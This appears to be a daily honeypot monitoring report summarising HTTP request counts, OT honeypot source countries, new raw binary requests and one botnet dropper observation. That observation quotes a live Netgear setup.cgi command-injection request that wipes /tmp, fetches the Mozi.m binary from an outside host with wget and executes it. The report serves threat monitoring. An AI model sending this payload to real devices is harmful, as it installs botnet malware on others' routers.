Table of Contents

Daily Report: 2025-08-14
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 1 stage 1 IP address(es), linked to 1 dropper URL(s).

There are 4 new requests that have never been observed before (these were added to the monitored request database.).

A total of 437 requests were recorded during the day, originating from 1 different countries, with a peak of 100 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
SG	Germany
HK	Germany

botnet_dropper_behaviour
#

remote_addr	request
125.45.67.106	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://125.45.67.106:51969/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
106	1	\x00\x0E\x08\xDE\xD9\x87!~\xD1\xAC\xC4\x00\x00\x00\x00\x00
107	1	\x00\x0E8\xDE\xD9\x87!~\xD1\xAC\xC4\x00\x00\x00\x00\x00
109	1	\x00\x0E\x08\xB9y\x9A\x9E\x83\x06\xB4\xBF\x00\x00\x00\x00\x00
110	1	\x00\x0E8\xB9y\x9A\x9E\x83\x06\xB4\xBF\x00\x00\x00\x00\x00